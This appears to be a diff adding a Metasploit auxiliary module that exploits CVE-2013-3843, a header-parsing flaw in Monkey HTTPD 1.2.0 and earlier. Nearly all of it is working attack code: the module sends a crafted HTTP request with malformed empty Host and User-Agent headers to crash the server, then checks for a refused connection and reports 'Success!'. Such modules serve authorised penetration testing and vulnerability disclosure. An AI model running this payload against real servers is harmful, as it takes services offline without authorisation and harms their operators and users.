|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Auxiliary |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::Tcp |
| 13 | + include Msf::Auxiliary::Dos |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => 'Monkey HTTPD Header Parsing Denial-of-Service', |
| 18 | + 'Description' => %q{ |
| 19 | + This module causes improper header parsing that leads to a segmentation fault |
| 20 | + due to a specially crafted HTTP request. Affects version <= 1.2.0. |
| 21 | + }, |
| 22 | + 'Author' => |
| 23 | + [ |
| 24 | + 'Doug Prostko <dougtko[at]gmail.com>' |
| 25 | + ], |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'References' => |
| 28 | + [ |
| 29 | + ['CVE', '2013-3843'], |
| 30 | + ['URL', 'http://bugs.monkey-project.com/ticket/182'] |
| 31 | + ], |
| 32 | + 'DisclosureDate' => 'May 30 2013')) |
| 33 | + |
| 34 | + register_options( |
| 35 | + [ |
| 36 | + Opt::RPORT(2001) |
| 37 | + ], self.class) |
| 38 | + end |
| 39 | + |
| 40 | + def dos |
| 41 | + req = "GET / HTTP/1.1\r\n" |
| 42 | + req << "Host:\r\n\r\nlocalhost\r\n" |
| 43 | + req << "User-Agent:\r\n\r\n" |
| 44 | + |
| 45 | + connect |
| 46 | + sock.put(req) |
| 47 | + disconnect |
| 48 | + end |
| 49 | + |
| 50 | + def is_alive? |
| 51 | + begin |
| 52 | + connect |
| 53 | + rescue Rex::ConnectionRefused |
| 54 | + return false |
| 55 | + ensure |
| 56 | + disconnect |
| 57 | + end |
| 58 | + |
| 59 | + true |
| 60 | + end |
| 61 | + |
| 62 | + def run |
| 63 | + print_status("#{rhost}:#{rport} - Sending DoS packet...") |
| 64 | + dos |
| 65 | + |
| 66 | + print_status("#{rhost}:#{rport} - Checking server status...") |
| 67 | + Rex.sleep(1) |
| 68 | + |
| 69 | + if is_alive? |
| 70 | + print_error("#{rhost}:#{rport} - Server is still alive") |
| 71 | + else |
| 72 | + print_good("#{rhost}:#{rport} - Connection Refused: Success!") |
| 73 | + end |
| 74 | + end |
| 75 | +end |
0 commit comments